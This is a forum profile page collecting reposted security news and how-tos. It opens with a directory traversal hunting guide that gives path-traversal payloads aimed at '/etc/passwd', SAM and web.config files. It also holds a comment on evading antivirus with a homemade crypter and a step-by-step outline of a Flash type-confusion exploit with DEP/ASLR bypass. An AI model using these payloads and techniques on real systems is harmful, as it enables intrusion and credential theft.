Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    706

Everything posted by Nytro

  1. [h=3]Hunting & Exploiting Directory Traversal[/h][h=2]Friday, February 17, 2012[/h] In cktricky's last post he provided a great outline on the ins and outs of leveraging burp's built in support for directory traversal testing. There are two questions, however, that should immediately come to mind once you are familiar with this tool: How do I find directory traversal & what should I look for if I do? Finding directory traversal is the hunt for dynamic file retrieval or modification. The antonym, static file retrieval, is when the browser is delegated the request for a file on the server. In other words, every <a href>, css call for a file/location, and even most JavaScript calls can be considered static. You could copy the path of those requests into the browser address bar and grab the file yourself-- because that is pretty much what the browser is doing for you. Dynamic file retrieval, however, is when you request a server based page/function which serves you a file. Think of it as the difference between calling someone directly on the phone vs. calling an operator who calls that person and patches you in. Dynamic file serving takes place for a variety of reasons, such as: user content download locations, dynamic image rendering/resizing features, template engines, language parameters*, AJAX to services type calls, sometimes in cookies, and occasionally are how pages themselves get served. These all basically look something like: [FONT=&quot] [FONT=&quot]somefunction.php?img=/some/place/graphic.jpg [/FONT] [/FONT] or [FONT=&quot]somefunction.php?page=/view/something[/FONT] The path to the file can either be relative (../../../etc) or in some more rare cases absolute (c:/windows/boot.ini). Additionally, these requests might be base64 or ROT13 encoded or sometimes encrypted. Neither is a stop get. You might think language parameters are an odd location for directory traversal, but after talking with my co-workers*, they reminded be about dynamic file modification. Some frameworks use parameters (such as language) to prefix a directory to the request or alter the file name for the appropriate language. Ergo: [FONT=&quot]cookie: language=en-us;[/FONT] could turn into: [FONT=&quot]File.Open('/' + language '/' + some-file);[/FONT] [FONT=&quot] File.Open('/' + language + '.' + some-file); [/FONT] If that is true, you can alter the root of a request, then use terminators to kill off the rest of what gets appended (null chars ftw) such as: [FONT=&quot]cookie: language=../../../../../etc/passwd[/FONT] [FONT=&quot] cookie: language=../../../../../etc/passwd;[/FONT][FONT=&quot] [/FONT] Language, template/skin name, or occasionally environment type variables (such as location=PROD, DEBUG, etc...). Anything that might be prefixed to a file name or directory to search is fair-game for that. Now what? Once you've identified a location which appears to be ripe for the testing-- how do you verify and what would you do? To verify, I have found two approaches that work well: default files & known files. The first approach is based on looking for default files on the file system. Since you are mostly blind to what exists on a server, you look for the existence of these defaults to see if they can be retrieved. There are two resources which I've found helpful. The first is Mubix's list of post-exploitation commands. In addition to a helpful list of commands for post exploit, the list includes very common files you might want to look for and steal (by operating system). The second resource is the Apache Default layout per OS. This can be really useful if you are attacking a system using Apache, to grab known configurations. For non-Apache web servers, I usually install them locally and see what the default layout looks like manually. The second approach comes into play if the first fails (and it might) because the user-context of the site doesn't have the authority to access those files. So you have to request files you can be reasonably sure it has access to-- the webpages it already serves. In this approach you attempt to serve other parts of the webpage, relative to the location you are currently looking at. As a contrived example, say you see a layout something like: [FONT=&quot] [FONT=&quot]/mainpage.asp[/FONT] [/FONT] [FONT=&quot] /vulnerableFeature.asp?path=/images/some-image.jpg[/FONT] you'd test for: [FONT=&quot] [FONT=&quot]/vulnerableFeature.asp?path=../mainpage.asp[/FONT] [/FONT] [FONT=&quot] /vulnerableFeature.asp?path=/mainpage.asp[/FONT] Since you know that the user-context of the site has the authority to serve those pages, it -should- be a fairly practical way to verify if your directory traversal is working. You may even get back source code this way. If you are attempting to take over the server, you should be looking to steal resources which would help you with that (such as the passwd & sam files). If you are attempting to do an involuntary code review, you should steal the source code from the pages you are looking at. There are occasionally hard coded credentials source, but application configuration files are often gold for credentials. I've found database, admin users, SMTP credentials and FTP users this way. Some final things to consider: Most operating systems support the use of environment variables/shortcuts for locations such as %home% or ~. This is useful to remember if there are protections against using a period or two successive periods. When dynamic features serve files, they often violate other protections. In IIS for instance various extensions cannot be served by the server (.config files for instance). However in most directory traversals you can pull the web.config file out w/o many problems. User controlled uploads often get served dynamically because there isn't a way for the server to know before-hand what the files are. You can sometimes find directory traversal here by uploading files with weird path's in their names (or renaming them after upload). Developers sometimes leave clues to file's physical locations in comments. I once downloaded a source for an entire site because of this. Image / gallery plugins for CMS's are notorious for directory traversal. Error messages are your friend here. If you get a system/application error instead of a file not found type error, you can at least use the mechanism to check for existence of files. Happy Hunting. -kuzushi * Thanks DC & AJ Posted by kuzushi at 2:01 PM Sursa: Carnal0wnage & Attack Research Blog: Hunting & Exploiting Directory Traversal
  2. [h=1]Ubuntu 12.04 LTS Gets HUD Interface[/h]February 17th, 2012, 22:39 GMT · By Marius Nestor The HUD feature in Ubuntu 12.04 LTS With today's updates, the upcoming Ubuntu 12.04 LTS (Precise Pangolin) operating system received many new features and improvements, including the Privacy Settings, Video Lens for Unity and the HUD (Head-Up Display) system described in this article. Originally introduced by Mark Shuttleworth last month, the Head-Up Display, or HUD for short, is some sort of add-on for the Unity interface allowing users to interact with application's menus by pressing the ALT key. At the moment, HUD was introduced alongside the current menus placed on the Unity Panel, but in the end, the Head-Up Display system will entirely replace menus in Unity applications. However, this will most probably happen in Ubuntu 12.10. HUD was developed by Canonical in-house during the last 18 months, and believe it or not it is here to revolutionize the Linux desktop. Sursa: Ubuntu 12.04 LTS Gets HUD Interface - Softpedia
  3. [h=1]Trend Micro Releases HijackThis Source Code to sourceforge.net[/h][h=2]Program's Creator Merijn Bellekom Endorses Open Source Move[/h] By Trend Micro Incorporated Published: Friday, Feb. 17, 2012 - 8:12 am CUPERTINO, Calif., Feb. 17, 2012 -- /PRNewswire/ -- Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security leader, today announced the release of HijackThis as an open source application. HijackThis- HijackThis - Wikipedia, the free encyclopedia - scans your computer to find settings changed by spyware, malware or other unwanted programs. HijackThis also generates an in-depth report to enable expert users to analyze and fix an infected computer. Several security communities use HijackThis log files to help users evaluate and eradicate infections. A common practice for novice users is to generate a HijackThis log file and submit it to one of the many forums devoted to HijackThis on the web. Experts at these forums provide information on which items are causing your problems and how to remove them safely from your computer. The code, originally written in Visual Basic, is now officially available at HiJackThis | Free software downloads at SourceForge.net. "This means that other people can build on a solid base to create or improve their own anti-malware tools," said Merijn Bellekom, the original creator of HijackThis. Trend Micro has offered HijackThis as a free tool since acquiring the antispyware freeware tool from its Netherlands-based creator, Merijn Bellekom in 2007. By then, it had already been downloaded more than 10 million times and was often used to submit logs to online discussion and help forums, such as Castlecops.com, Majorgeeks.com and Spywareinfo.com, to elicit comments that could help in cleaning infected desktops "HijackThis was an essential tool at CastleCops, so much so that there were forums, web applications and services dedicated to it, answering questions posed from the data collected about files and registry entries. Hands down, HijackThis was vital to the health of a PC providing needed data that helped experts clean machines from complicated malware infections. Enabling the open source community with source code for the powerful tool HijackThis shows the commitment Trend Micro has toward advancing security and privacy. The OSS framework provides people with an opportunity to help others in a rich and diverse environment, and this ensures that HijackThis will continue building on its strength in serving the community," said Paul Laudanski, Founder, Castlecops.com Trend Micro will continue to maintain the original source code and will update the base code on SourceForge as developers make modifications that are essential and positive to the continued improvement of this code. As new malicious code is released faster than ever before, the need for analyzing log data to identify new malicious code is more important than ever. Through this offer to the open source community, the product has the opportunity to develop and become an even better solution to quickly identify new malicious code. "HijackThis moving to open source is a really exciting stage for this tool and a big thanks to Trend Micro for bringing this tool back to life. HijackThis was once the most used tool for enumerating Windows startup programs and quickly identifying the presence of malware. Moving HijackThis to open source will prompt more rapid releases and also allow more people to be involved in the project so that it is able to keep pace with current infection techniques," said Larry Abrams, Owner and Founder of BleepingComputer.com. About Trend Micro Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat management solutions for businesses and consumers. A pioneer in server security with over 20 years' experience, we deliver top-ranked client, server and cloud-based security that fits our customers' and partners' needs, stops new threats faster, and protects data in physical, virtualized and cloud environments. Powered by the industry-leading Trend Micro Smart Protection Network cloud computing security infrastructure, our products and services stop threats where they emerge – from the Internet. They are supported by 1,000+ threat intelligence experts around the globe. Additional information about Trend Micro Incorporated and its products and services are available at Trend Micro.com. This Trend Micro news release and other announcements are available at http://NewsRoom.TrendMicro.com and as part of an RSS feed at www.trendmicro.com/rss. Or follow our news on Twitter at @TrendMicro. SOURCE Trend Micro Incorporated Sursa: Trend Micro Releases HijackThis Source Code to sourceforge.net - PR Newswire - sacbee.com
  4. [h=1]Google Chrome update fixes high-severity vulnerabilities and patches Flash Player[/h]by Lucian Constantin, IDG News Service Feb 16, 2012 11:00 pm Google released a new version of its Chrome browser on Wednesday in order to update the bundled Flash Player plug-in and address serious security vulnerabilities. Google Chrome 17.0.963.56 fixes 12 security flaws, seven of which are considered high severity, four of medium severity and one of low severity. Security researcher Jüri Aedla received a special $1,337 reward for discovering and reporting an integer overflow vulnerability in libpng, the library used by Chrome to process PNG images. Other high-severity flaws were identified in the browser's PDF codecs, its subframe loading, h.264 parsing and path rendering components, as well as its MKV, database, column and counter node handling code. In theory these vulnerabilities should be considered critical because they could facilitate the remote execution of arbitrary code on the targeted systems. However, because Google Chrome has a sandboxed architecture, exploiting these vulnerabilities alone would not provide attackers with the necessary level of access to run malicious code. Six vulnerabilities patched in this release were discovered with the help of an open-source tool called AddressSanitizer, Google Chrome engineer Jason Kersey said in a blog post on Wednesday. Chrome 17.0.963.56 also includes a new Flash Player version that Adobe released on Wednesday, Kersey said. The Flash Player update addresses seven critical security flaws. Google paid a total of $6,837 to security researchers who reported vulnerabilities patched in this release. The company recently expanded its Chromium Security Rewards Program to also cover vulnerabilities found in Chrome OS. Sursa: Google Chrome update fixes high-severity vulnerabilities and patches Flash Player | Macworld
  5. [h=3]Tales from the DNSCrypt: Linux Rising[/h]by David Ulevitch, Founder/CEO on Feb 16th, 2012 When we released the Mac-only preview of DNSCrypt, we knew it was a game changer. The revolutionary piece of lightweight software encrypts all DNS traffic between you and our servers. We also knew it was our responsibility to get this fundamental improvement to Internet security ready for the masses as quickly as possible. That’s why last week we announced that we’re searching for a rockstar win32 hacker to build a Windows release. But the blog post catalyzed a frenzy of responses from Linux users asking when a version would be available for them. The good news, is that the wait is over for Linux users. In fact, there was never a wait at all. We published the code for DNSCrypt on GitHub when we released the preview, so although there isn’t a user interface built just yet, Linux users can still experience the benefits of DNSCrypt in just a few steps. Here are simple step-by-step instructions for setting up DNSCrypt on your Linux machine: Download the right package for your Linux distribution: 64-bit DEB package (Debian, Ubuntu, other .deb-based distributions) 32-bit DEB package 64-bit RPM package (Openwall, CentOS, Fedora, other .rpm-based distributions) 32-bit RPM package [*]Install the package using your package manager [*]Open a terminal. Enter: sudo /usr/sbin/dnscrypt-proxy –daemonize [*]Set your DNS settings to 127.0.0.1. Confirm you’re using OpenDNS here. Now that you’re using DNSCrypt, you can spread the word to other Linux users. We’d love to see your blog posts, videos and social media posts so don’t forget to tag @OpenDNS on Facebook and Twitter. If you want to help build a GUI to make this process even easier for Linux users, we’d be happy to work with you to get it right. If you’d like us to review your work, email us at dnscrypt at opendns dot com. Additional instructions and compilation instructions for other operating systems can be found here. Sursa: https://blog.opendns.com/2012/02/16/tales-from-the-dnscrypt-linux-rising/
  6. [h=1]Google cookies 'bypassed Safari privacy protection'[/h] 17 February 2012 Last updated at 18:28 GMT Google has been accused of bypassing the privacy settings of users of the Safari web-browser. The Wall Street Journal said Google and other companies had worked around privacy settings designed to restrict cookies. Cookies are small text files stored by browsers which can record information about online activity, and help some online services work. However Google says the story "mischaracterises" what happened. Advertisers can use cookies to track online behaviour, helping them to target the commercials they show to internet users. Some think this use of cookies erodes online privacy. In May, European Union laws are due to come into force which will restrict the use of advertising cookies. But cookies are also essential to some web services like those Google offers. Cookie control The Safari browser is produced by Apple, and is the browser used by the iPhone. By default Safari only allows cookies to be stored by the web page a user is visiting, not from third parties such as advertisers. However, Stanford University researcher Jonathan Mayer found that advertisers were still able to store cookies on the computers of internet users browsing with Safari. It was his discovery that formed the basis of the Wall Street Journal's story. Many Google services use cookies, for example to remember when someone is signed in to a service, but they are also used by the firm to help personalise advertising. It was when Google attempted to find a way to enable some of its services and personalised advertising to work on Safari that, Google says, it inadvertently stored cookies. Side-stepping Safari In a statement, senior vice president Rachel Whetstone said that last year the company had decided to "enable features for signed-in Google users on Safari who had opted to see personalised ads and other content". Continue reading the main story [h=2]“Start Quote[/h] We are aware that some third parties are circumventing Safari's privacy features and we are working to put a stop to it” Apple spokesman She added: "To enable these features, we created a temporary communication link between Safari browsers and Google's servers, so that we could ascertain whether Safari users were also signed into Google, and had opted for this type of personalisation." Ms Whetsone said the company had created new systems to make sure the information it collected was *********, but this had led to unintended consequences: "The Safari browser contained functionality that then enabled other Google advertising cookies to be set on the browser. "We didn't anticipate that this would happen, and we have now started removing these advertising cookies from Safari browsers. It's important to stress that, just as on other browsers, these advertising cookies do not collect personal information." The Wall Street Journal reported that Google "disabled the code after being contacted by the paper". Google declined to provide further comment to the BBC. Privacy warning Online privacy advocates were highly critical of Google's actions. The Electronic Frontier Foundation wrote: "It's time for Google to acknowledge that it can do a better job of respecting the privacy of web users." Although much of the criticism has been directed at the search giant, the Wall Street Journal said that in addition to Google, a number of advertising companies had been using the work-around which had been known about for some time. An Apple spokesman said in a statement: "We are aware that some third parties are circumventing Safari's privacy features and we are working to put a stop to it." Sursa: Google Cookies Bypassed Safari Privacy Protection ? Packet Storm
  7. [h=1]Computer spyware is newest weapon in Syrian conflict[/h] [TABLE] [TR] [TD] [/TD] [TD] By Ben Brumfield, CNN February 17, 2012 [/TD] [/TR] [/TABLE] Syrians demonstrate against the regime after Friday prayers in the north Syrian city of Idlib on February 17. Activists working against the regime now have to worry about malware that can expose their activities (CNN) -- In Syria's cyberwar, the regime's supporters have deployed a new weapon against opposition activists -- computer viruses that spy on them, according to an IT specialist from a Syrian opposition group and a former international aid worker whose computer was infected. A U.S.-based antivirus software maker, which analyzed one of the viruses at CNN's request, said that it was recently written for a specific cyberespionage campaign and that it passes information it robs from computers to a server at a government-owned telecommunications company in Syria. Supporters of dictator Bashar al-Assad first steal the identities of opposition activists, then impersonate them in online chats, said software engineer Dlshad Othman. They gain the trust of other users, pass out Trojan horse viruses and encourage people to open them. Once on the victim's computer, the malware sends information out to third parties. Inside Syria: Hope, supplies run low in bunker Othman is an IT security "go-to-guy" for opposition activists. He resides outside of Syria for his own safety. Since December, he has heard from dozens of opposition members who say their computers were infected. Two of them recently passed actual viruses to Othman and a colleague with whom he works. They checked them out. "We have two malwares -- first one is really complex," Othman said via Skype chat. "It can hide itself more." The U.S. analysis of one of the viruses -- the simpler one -- would appear to corroborate the time of its launch around the start of the year. The virus has two parts, said Vikram Thakur, principal security response manager at Symantec Corporation, known to consumers for its Norton antivirus software. He said one of them points to December 6 and the other to January 16. Thakur has dubbed the simpler virus "backdoor.breut." It was the more complex virus that the former aid worker unwittingly downloaded during a chat. Since she travels to Syria, she has requested that CNN not name her for security reasons and instead refer to her as "Susan." In one Syrian town, full-throated cries of defiance To get a picture of the humanitarian needs on the ground in Syria, "Susan" contacted opposition members via the Internet. In January, she received a call via Skype from someone she believed was a regime opponent. It was an imposter and a regime supporter, she claims. "They called me actually and pretended that it's him -- this activist that I didn't know, because I'd been talking to him only two times and only in writing." Days later, other opposition members told Susan and Othman that the activist she thought she had spoken with was in detention. Activists accuse government forces of coercing him to reveal his user name and identity and of then going online to impersonate him. Othman says additional activists, who say they were detained and released, tell of being forced to turn over their passwords to Syrian authorities. CNN cannot independently confirm the accusations, because the Syrian government strictly limits international media coverage within its borders. Calls for Syrian government comment to a spokeswoman for al-Assad on Friday were not answered or did not go through. Friday is the weekly special day of prayer in the Muslim world. The man chatting with Susan via Skype passed her a file. She recalled what he said to her to coax her to open it: "This makes sure that when you're talking to me, it's really me talking to you and not somebody else." New York Times reporter dies in Syria She clicked on the file. "It actually didn't do anything," she said in a baffled tone. "I didn't notice any change at all." No graphics launched; no pop-up opened to announce to the user that the virus was being downloaded. The link appeared to be dead or defected, said Othman. The second virus, backdoor.breut, which was e-mailed to him by an activist inside Syria for analysis, launched the same way. "Download, open, then nothing," Othman said. It contains a fake Facebook logo and was passed off in a chat room as a Facebook security update, he said. At CNN's request, Othman forwarded that virus to an IT security expert in California for an independent analysis. Othman removed the more complex malware on Susan's computer but made an image of the infected hard drive beforehand. At more than 250 GB, it would have to be sent on an external hard drive by regular post -- snail mail -- for any independent scrutiny. The U.S. expert confirmed the invisible nature of the backdoor.breut Trojan horse download. Thousand stage public protests on Friday "Nothing would actually show up," said Thakur. "The only thing that the Trojan actually does -- it copies itself into one of the temporary locations, but that would not be visible to the regular user." The malware launches when the user reboots the computer. The Syrian cyberactivist and the California IT security manager pointed out that the lack of fanfare during download helps to conceal the viruses from their victims. "Most of them will say 'it's a damaged file,' and they will forget about it," Othman said. Susan did just that. She was not aware she had been hacked until she lost her Facebook and e-mail accounts a few days after clicking on the file. "I didn't click on any kind of new link or something, so they must have known about the password," she said, referring to the loss of her Facebook account. She handed over her laptop to Othman and his colleague, who told her that the Trojan horse had logged her key strokes, taken screen shots, rummaged through her folders. It hid the IP address it sent its information to, Othman said. Othman found a screen shot the Trojan horse took of Susan's online banking home page. He told her to change all her passwords, Susan said. "You don't want your money to be stolen by some of the Syrian security guys," she quipped. The other virus -- backdoor.breut -- sends the information it pillages from infected computers to the IP address: 216.6.0.28 and does not hide this. "We checked the IP address that our engineer referenced and can confirm that it belongs to the STE (Syrian Telecommunications Establishment)," a Symantec representative wrote to CNN. The STE is the government telecommunications company. This does not necessarily mean that someone at STE is doing the hacking, Thakur stresses. "Whether it's a home user behind that or it's actually a company or an organization, which has been allocated that IP address, we just have no insight from where we sit." But the Syrian government has access to all activity through that server "absolutely without any doubt," Thakur said. Anyone not wanting the government to see what they are up to would not use that server. Skilled Syrian opposition activists avoid government telecom servers when online. The simple virus, backdoor.breut, acts like a bull in a china shop, Symantec's Thakur said. "It did not look like it was written by any sophisticated hacker," he said after examining it. "It was just kind of put together -- slapstick functionality." Simple malware is readily available for download on underground forums in the Internet. Hackers can repurpose it and hand it out. Othman believed the second software to be such an off-the-shelf product because of its amateurish construction, but the California expert disagrees. "It's not something that somebody just went out there, copied code from an Internet website and just pasted it in. It was definitely coded for its current purpose." The name "backdoor.breut" derives from the virus' behavior. "We sort of took the word 'brute' just because of what it was actually doing and kind of changed a couple of characters to b-r-e-u-t," Thakur said. "Brute -- meaning that it is using brute force -- it's just going in smash-and-grab -- I'm going to try to get anything that I can and get the hell out of there." Backdoor.breut attempts to give the hacker remote control of the victim's computer, according to the analysis. It steals passwords and system information, downloads new programs, guides internal processes, logs keystrokes and takes shots with the webcam. It also turns off antivirus notification, but that does not completely conceal it from detection. "Some of the good software can detect it in the same day," Thakur said. The nature of its use may make backdoor.breut and other new Syrian malware hard to defend against. Antivirus makers need to know the virus to be able to assign it a signature and make the file detectible to block the download, according to Thakur. The more widely a new virus spreads around the world, the more likely it is to land on an antivirus maker's radar. The smaller the region the virus is located in, the less likely virus vigilantes are to notice and combat it. "Looking at this Trojan and the telemetry that we've gathered the last five or six days since we did the analysis, this is not targeting people across the complete globe. So, it could be days before some antiviruses actually create signatures for the file," Thakur said. More complex antivirus software can detect malware that does not yet have a signature, because of how it behaves after infecting the computer, Thakur said. If the antivirus does not have this 'behavior' component, it may not defend against a new virus "for a substantial amount of time." On a Facebook page named "Cyber Arabs," Othman warns activists of the danger of downloading the virus and reminds users to keep their antivirus software updated. Download.com, CNET's software download website, offers antivirus software, some of which includes a "behavior" component and is free of charge. But that is still no guarantee for not contracting a new Syrian cyberbug, "Susan" reminds. "It was up-to-date," she said. "The problem is that they sent me a ... file, and I was totally stupid -- like, it's an EXE file -- and I opened it." Sursa: Spyware Is Newest Weapon In Syrian Conflict ? Packet Storm
  8. [h=1]York Facebook hacking student Glenn Mangham jailed[/h] 17 February 2012 Last updated at 19:44 GMT A software development student from York who hacked into Facebook has been jailed for eight months. Glenn Mangham, 26, had earlier admitted infiltrating the social networking website between April and May 2011. Mangham, of Cornlands Road, York, had shown search engine Yahoo how it could improve security and said he wanted to do the same for Facebook. Sentencing Mangham, Judge Alistair McCreath said his actions could have been "utterly disastrous" for Facebook. Alison Saunders, from the Crown Prosecution Service, described the case as "the most extensive and flagrant incidence of social media hacking to be brought before British courts". Prosecutor Sandip Patel rejected Mangham's claims, saying: "He acted with determination, undoubted ingenuity and it was sophisticated, it was calculating." Facebook spent $200,000 (£126,400) dealing with Mangham's crime, which triggered a "concerted, time-consuming and costly investigation" by the FBI and British law enforcement, Mr Patel said. Electronic footprint The prosecutor told Southwark Crown Court in London how Mangham had "unlawfully accessed and hacked into the social media website Facebook and its computers in April to May last year from his bedroom in Yorkshire". Mangham had ultimately stolen "invaluable" intellectual property, which he downloaded on to an external hard drive, said Mr Patel. Facebook discovered the infiltration during a system check even though the defendant deleted his electronic footprint to cover his tracks. Mr Mangham's defence lawyer Tom Ventham had said his client was an ethical hacker who had a "high moral stance" and Yahoo had "rewarded" him for pointing out its vulnerabilities previously. He added that when Mangham was arrested he made "copious" admissions to police about what he had done. Passing sentence, Judge Alistair McCreath told Mangham his actions were not harmless and had "real consequences and very serious potential consequences" for Facebook. 'Not harmless' "You and others who are tempted to act as you did really must understand how serious this is," he said. "The creation of that risk, the extent of that risk and the cost of putting it right mean at the end of it all I'm afraid a prison sentence is inevitable." Mr McCreath said while he acknowledged that Mangham had never intended to pass on any of the information he had gathered, nor did he intend to make any money from it, his activities were "not just a bit of harmless experimentation". "You accessed the very heart of the system of an international business of massive size, so this was not just fiddling about in the business records of some tiny business of no great importance," he said. A spokesperson for Facebook said they "applauded" the work of the police and Crown Prosecution Service in this case, "which did not involve any compromise of personal user data". They added: "We take any attempt to gain unauthorised access to our network very seriously, and we work closely with law enforcement authorities to ensure that offenders are brought to justice." Sursa: Gammarays Jailed For Hacking Facebook ? Packet Storm
  9. Nu are legatura algoritmul de cryptare, antivirusii detecteaza incarcarea in memorie, sau in functie de alte aspecte unice ale executabilului (mai exact entrypoint-ul stubului, dimensiuni alea sectiunilor sau cine stie ce altceva). Eu pentru crypterul meu de 2 lei foloseam un algoritm stupid: se adauga 65 la fiecare byte. Daca are mai mult de 255, se scade 255. Ceva de genul, nici nu mai stiu exact, si functiona fara nicio problema, ca se modifica TOT in fisierul cryptat, dar nu se modifica NIMIC in stub.
  10. Pirate Bay hits out at delusional recording industry The cartel must be stopped By Dave Neal Fri Feb 17 2012, 13:26 FILE SHARING WEB SITE The Pirate Bay has responded to criticisms from the Recording Industry Association of America (RIAA), painting the organisation as quite mad. The RIAA fired the first salvo in the war of words, as other battles are being waged online and in government, when it accused The Pirate Bay of being a dreadful copyright thief. The RIAA was commenting on the Pirate Bay's decision to upsticks and move to a Swedish .se web domain and accused it of being brazen, and "one of the worst of the worst". "A blatantly illegal file-sharing site, proud that it's an online bazaar of every conceivable U.S. copyrighted work, found criminally responsible by its own country's legal system and who has been ordered by courts in at least seven European countries to be blocked by ISPs, has publicly acknowledged changing its domain name to escape U.S. laws," wrote the RIAA in a blog post. "It is motivated by its brazen philosophy of thumbing its nose at the basic rights of America's creators. It is, in a phrase, one of the worst of the worst." A spokesman for The Pirate Bay has responded in a guest post at Torrentfreak. There a spokesman named "Winston" - with credit to George Orwell - said that this statement shows how detached and delusional the music industry has become. "The piece gives us ample information on just how delusional the recording industry really is, and shows why they must be stopped," said Winston in response to the post from Mitch Glazier, an impressively over-titled senior executive vice president at the RIAA. "In the very first sentence Glazier uses the phrase 'copyright theft'. It's an interesting concept - if anyone in history ever stole copyright, it must be the record industry... A small lesson to Mr Glazier: If someone steals something, you don't have it anymore. If you copy it, both have it. This means: If someone steals your copyright (aka 'copyright theft') you don't have the copyright anymore. I'm having a hard time to see that happening though, since copyright isn't really physical." Winston pokes fun at the RIAA, saying that it is out of date and relying on archaic arguments to shore up its cause. "Maybe (jobs lost to 'piracy') just aren't needed anymore! That's what technology does! Sorry, it's 2012 not 1912 - do you want to forbid robots as well, since they steal jobs?" he asks. Referring back to Glaziers comment about the web site being banned in a number of countries, and relating it to the recent European Court of Justice Sabam decision that outlawed monitoring and filtering content, he suggested that the RIAA might be supporting illegal activity. "And Mr. Glazier, talking about the countries in the EU that you have forced ISPs to block TPB (and other sites) is interesting, as the European Court has just decided that these types of censorship are just that - censorship, and should be treated as illegal," he added. "Could we see your view on the matter, as the RIAA is clearly supporting illegal censorship?" There is no love lost between the parties, of course, and while the RIAA suggests that it wants to work with the technology industry, The Pirate Bay will have nothing to do with it. "F*ck that. You're not in charge. If you want the help of the tech industry, ask for it. You'll probably get it since most tech people are nice. You're not in charge anymore and that's probably why you're pissed off," he said. "The recording industry is like a kid screaming for candy. The problem is that the kid has diabetes." µ
  11. [h=2]Exploiting Adobe Flash Player on Windows 7[/h]Posted by shahin in advisory, Exploits / BUG Decryption, Fuzzing / Auditing, reversingello again . as a lot of readers like windows 7 exploits here is other one . [h=2]1) Advisory information[/h] [TABLE] [TR] [TD=width: 638] Title : Adobe Flash player Action script type confusion Version : flash10h.dll Discovery : Malware writers Exploit : Abysssec Information Security and Vulnerability Research Group Vendor : http://www.adobe.com Impact : Critical Contact : info [at] abysssec.com Twitter : @abysssec CVE : CVE-2010-3654 [/TD] [/TR] [/TABLE] [h=2]2) Vulnerable version[/h] [TABLE] [TR] [TD=width: 638]Adobe Flash Player 10.1.53 .64 prior versions[/TD] [/TR] [/TABLE] [h=2]3) Vulnerability information[/h] [TABLE] [TR] [TD=width: 638]Class 1- Type Confusion Impact Successfully exploiting this issue allows remote attackers to execute code under the context of targeted browser. Remotely Exploitable Yes Locally Exploitable Yes [/TD] [/TR] [/TABLE] [h=2]4) Vulnerability detail[/h] Here we have type confusion vulnerability in ActionScript bytecode language. The cause of these vulnerabilities is because of implementation of verification process in AS3 jit engine that because of some miscalculation in verifying datatype atoms, some data replaces another type of data and the confusion results in faulty machine code. Action script has the following structure. First our scripts are compiled using an action script compiler like flex to AS3 ByteCodes and embed it to DoABC, DoAction or DoInitAction tags in swf file format. When flash player opens the swf file, bytecodes are compiled to a jitted machine code through verification and generation process. Verification process is responsible for checking bytecodes to be valid instructions and it pass the valid bytecodes to generation process, thus generation process produces the machine code in memory. According to Dion Blazakis’s JIT Spray paper: To handle this runtime typing requirement, the ActionScript interpreter represents internal objects using tagged pointers – internal, this object is called an “atom”. Tagged pointers are a common implementation technique to differentiate between those objects stored by value and those stored by reference using the same word sized memory cell. A tagged pointer stores type information in the least significant bits and stores a type specific values in the most significant bits. As shown in Illustration 1, the ActionScript atom is 32 bits wide; it allocates 3 bits to store the type information and uses 29 bits for the value. So if it would be possible to confuse verifier too act an atom as another atom by some bytecode changes it would be possible to generate faulty code that most of the times lead to disclosing a vtable pointer call to the attacker. The bug is perfectly presented in Haifei li recent slides. We have OriginalClass and RefClass with the same functions. Func1 – OriginalClass return a class objects, but Func1 – RefClass returns another type. By changing a byte in the bytecode we have confused AS3 to execute RefClass functions in the main class. After that verifier confuses the return type of the function with an OriginalClass object and generate faulty code with the vtable under the control of the return value. Exploitation: For exploitation purpose on recent protections on windows 7 without any 3rd party, it is possible to use the same bug many times to leak the imageBase address and payload address. In our exploit we used three confusion to read String Objects address and accordingly imagebase address. Step1: read shellcode string object pointer by confusing it with uint and use it to leak ImageBase. Step2: leak address of the shellcode with the same pointer and NewNumber trick. Step3: send imageBase & shellcode address as parameters to the RopPayload function, develop Rop payload string and again confuse the return value with uint to read address of RopPayload string. Step4: send address of the rop payload as parameters to the last confused function that confuses string type with class object. And thus address of our rop payload will be used as vtable in the fake class object. Note: In using strings as a buffer for shellcode in action script, it is important to use alphanumeric characters because the toString method converts our ascii character set to uincode thus make our shellcode unusable. [h=2]5) Conclusion[/h] Finally we got the point that memory leakages are extremely useful in modern exploitation to bypass DEP, ASLR protections. It would be possible to find same atom confusion situation and other object leakage in adobe flash player. Kudos to haifei li for his great research, although it was not that simple to implement a reliable exploit with just slides without attending in talk. [h=2]6) Refrences[/h] http://www.cansecwest.com/csw11/Flash_ActionScript.ppt http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf [h=2]7) Exploit-Code[/h] Here you can get our reliable exploit against windows 7 : calc.exe payload Download : CVE-2010-3654_Win7 if you need other payloads for sure you know how to change it as always feedbacks are welcomed and you can follow @abysssec in twitter to getting updates . Happy Hunting ! Sursa: Exploiting Adobe Flash Player on Windows 7 | Abysssec Security Research
  12. [h=2]Many roads to IAT[/h] Published December 1, 2011 | By Dinos [h=3]Introduction[/h] A few days ago a friend approached me and asked how he could see the import address table under immunity debugger and if this could be done using the command line. I figured this would be a good time to take a look at what the IAT is, how we can list the IAT and what common reversing hurdles could be with regards to the IAT. Let’s see first what is IAT and why it’s good to know what is in there. IAT stands for Import Address Table and according to wikipedia, “One section of note is the import address table (IAT), which is used as a lookup table when the application is calling a function in a different module. It can be in form of both import by ordinal and import by name. Because a compiled program cannot know the memory location of the libraries it depends upon, an indirect jump is required whenever an API call is made. As the dynamic linker loads modules and joins them together, it writes actual addresses into the IAT slots, so that they point to the memory locations of the corresponding library functions. Though this adds an extra jump over the cost of an intra-module call resulting in a performance penalty, it provides a key benefit: The number of memory pages that need to be copy-on-write changed by the loader is minimized, saving memory and disk I/O time. If the compiler knows ahead of time that a call will be inter-module (via a dllimport attribute) it can produce more optimized code that simply results in an indirect call opcode.” By knowing what’s inside IAT we can identify functions that are called from other modules in a program, look for possibly unwanted or strange behavior ( cases on virus / malware ) make the code under the debugger easier to read and find address location from functions of interest ( VirtualAlloc, HeapCreate, SetProcessDEPPolicy, NtSetInformationProcess, VirtualProtect, WriteProcessMemory ). In case you haven’t figured it out, you can use those functions to bypass DEP. Having an accurate pointer in the IAT to one of the functions will make it trivial to call the function in a ROP chain. [h=3]How can we query or list entries in the IAT ?[/h] [h=4]Windbg[/h] Windbg is many times the debugger of my choice, not because it’s the easiest to use, but mostly I got used to the interface and the fast response. Doing things under windbg in most cases will take far less time, if you know the 